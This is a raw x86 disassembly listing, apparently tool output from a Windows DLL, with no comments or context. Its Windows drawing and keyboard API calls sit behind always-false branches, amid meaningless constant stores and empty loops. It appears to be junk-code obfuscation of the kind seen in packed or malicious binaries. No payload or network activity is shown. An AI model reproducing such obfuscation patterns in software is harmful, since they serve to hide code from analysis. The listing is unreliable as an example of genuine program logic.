cmp byte [ebp - 0x25], 0
je 0x1003207a
push 0x12c3
push 0x73
push 0xe00
push eax
push 0x2315
push 0x1449
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov edi, dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
push eax
push 0x1888
push 0x1f37
push 0x52b
push 0x26f7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
xor eax, eax
dec dword [ebp - 0x20]
jns 0x10032016
dec dword [ebp - 0x40]
jns 0x10032003
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jle 0x10031fdc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jne 0x10031fcd
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1c
jge 0x10031fae
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100320d9
push eax
push 0xffc
push 0xb93
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
xor eax, eax
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0x17
jg 0x10031f9b
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100320f7
push eax
call esi
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1003211a
push 0xb93
push 0x232d
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
xor eax, eax
mov dword [ebp - 0x24], 0xfffffff9
xor edi, edi
mov dword [ebp - 0x24], 0xfffffff5
inc edi
cmp dword [ebp - 0x24], 0xfffffff3
je 0x100321be
push 8
pop ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1003215a
or ecx, 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10032143
push 8
xor eax, eax
pop ecx
mov dword [ebp - 0x8c], eax
jmp 0x100321a9
mov dword [ebp - 0xcf4], edi
mov dword [ebp - 0xcf0], edi
mov dword [ebp - 0xcec], edi
mov dword [ebp - 0xce8], edi
mov dword [ebp - 0x10], 0x8e1b61ba
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x100321a3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xcf4], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003218a
xor eax, eax
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], ecx
jne 0x10032162
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff3
jne 0x10032138
push 4
lea ecx, [ebp - 0xb60]
call fcn.100160cf
mov dword [ebp - 4], 0x19
xor eax, eax
mov dword [ebp - 0x24], 0x26bdde0b
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x100321ee
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffe3
jne 0x1003223b
jmp 0x100321fb
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x10], eax
jmp 0x10032210
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe6c], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10032203
mov eax, dword [ebp - 0xe68]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10032232
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe3
je 0x100321f9
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x1b0]
push edi
call fcn.100160cf
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0xe04]
mov dword [ebp - 0x20], 0x718e5034
or esi, 0xffffffff
mov dword [ebp - 0x30], 0xfffffffa
mov eax, 0xffff
mov dword [ebp - 0x54], 0x35da2a0c
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x5c], 0xe3335a02
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x43bd3a5
push edi
call fcn.100160cf
xor eax, eax
mov byte [ebp - 4], 0x1b
push 3
mov dword [ebp - 0x18], eax
pop ebx
cmp dword [ebp - 0x18], ebx
jge 0x100322b7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x76c], 0xec2e0cf5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003229f
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x100322dd
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1b0]
call fcn.1001613c
mov dword [eax], 0x730f94f3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100322bf
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100322ff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1550], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100322e6
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10032325
push dword [ebp - 0x18]
lea ecx, [ebp - 0xe04]
call fcn.1001613c
mov dword [eax], 0x8dbe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10032307
xor eax, eax
push eax
lea ecx, [ebp - 0x1b0]
call fcn.1001613c
lea ecx, [ebp - 0x1b0]
and dword [eax], 0
xor eax, eax
push eax
call fcn.1001613c
cmp dword [eax], 2
jg 0x100325db
mov dword [ebp - 0x10], 0x40552487
lea ecx, [ebp - 0xfac]
mov dword [ebp - 0x34], esi
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x4c], 2
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x58], 0x5761
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x3c], 0x5726b065
push edi
call fcn.100160cf
push edi
lea ecx, [ebp - 0xc50]
mov byte [ebp - 4], 0x1c
call fcn.100160cf
xor eax, eax
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x100323ca
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xfac]
call fcn.1001613c
mov dword [eax], 0xb104b5bc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100323ac
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100323e2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xc50]
call fcn.1001613c
mov dword [eax], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100323cf
inc dword [ebp - 0x58]
je 0x10032419
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], 0xffff
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setl dl
xor ecx, ecx
cmp eax, edx
setne cl
cmp ecx, dword [ebp - 0x34]
jge 0x10032419
mov eax, edi
jmp 0x1003241b
xor eax, eax
xor edx, edx
cmp eax, 0x4c20
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
add ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x2c]
jle 0x10032445
xor eax, eax
lea ecx, [ebp - 0x1b0]
push eax
call fcn.1001613c
xor eax, eax
lea ecx, [ebp - 0x1b0]
push eax
call fcn.1001613c
mov edx, dword [ebp - 0x764]
xor ebx, ebx
mov ecx, dword [ebp - 0x10]
cmp edx, ecx
push 8
mov eax, dword [eax]
lea ecx, [ebp - 0x1b0]
setne bl
sub ebx, dword [ebp + eax*4 - 0x76c]
neg ebx
pop eax
sbb ebx, ebx
inc ebx
cmp eax, ebx
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.1001613c
mov ecx, dword [ebp - 0x30]
xor edx, edx
imul ecx, esi
add ecx, dword [ebp - 0x50]
mov eax, dword [eax]
cmp ecx, 0xfffffffa
setg dl
cmp dword [ebp + eax*4 - 0x76c], edx
jl 0x100324ac
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x100324ae
xor eax, eax
mov edi, eax
push eax
lea ecx, [ebp - 0x1b0]
call fcn.1001613c
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp edi, ecx
mov esi, eax
mov ecx, dword [ebp - 0x5c]
setl dl
xor ebx, ebx
cmp edx, ecx
setg bl
xor ecx, ecx
add ebx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2c]
cmp ebx, eax
setne cl
xor eax, eax
cmp ecx, dword [esi]
setg al
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x38]
mov edx, dword [ebp - 0x1548]
mov eax, dword [ebp - 0x50]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x40]
setg cl
xor edx, edx
cmp ecx, 0xaca4
setg dl
xor ecx, ecx
cmp eax, edx
setg cl
cmp ecx, dword [ebp - 0x40]
jg 0x1003253d
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x100325fb
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100325f8
push 0x2622
call dword [sym.imp.USER32.dll_GetKeyState]
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x10
jg 0x100325e2
lea ecx, [ebp - 0xe04]
call fcn.10016137
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x19
call fcn.10016137
mov dword [ebp - 0x48], edi
xor eax, eax
mov dword [ebp - 0x18], 0x5e48d327
mov dword [ebp - 0x24], 0x481db3aa
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x18], eax
jmp 0x100328fa
mov dword [ebp - 0x30], 0x665683c8
mov dword [ebp - 0x58], 0x941ce3cb
mov dword [ebp - 0x2c], 0x3fa3ce72
mov dword [ebp - 0x54], 0xfffffff9
mov dword [ebp - 0x38], 0xfffffffd
mov dword [ebp - 0x30], 0xfffffff6
cmp dword [ebp - 0x30], esi
je 0x100328f7
mov dword [ebp - 0x2c], 0xfffffff8
lea ecx, [ebp - 0x584]
mov dword [ebp - 0x3c], 0x38e21363
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x40], eax
push 2
call fcn.100160cf
xor eax, eax
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100326bb
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff1
jne 0x1003263f
mov dword [ebp - 0x44], 0xab274bf9
lea ecx, [ebp - 0x520]
push edi
call fcn.100160cf
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xa10]
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x44], 0x914d2edc
push edi
call fcn.100160cf
mov byte [ebp - 4], 0x20
xor eax, eax
mov dword [ebp - 0x10], 0x70a5
mov dword [ebp - 0x20], 0x53f0d3ec
mov dword [ebp - 0x48], 0x67bb
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10032972
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x520]
call fcn.1001613c
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10032954
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10032998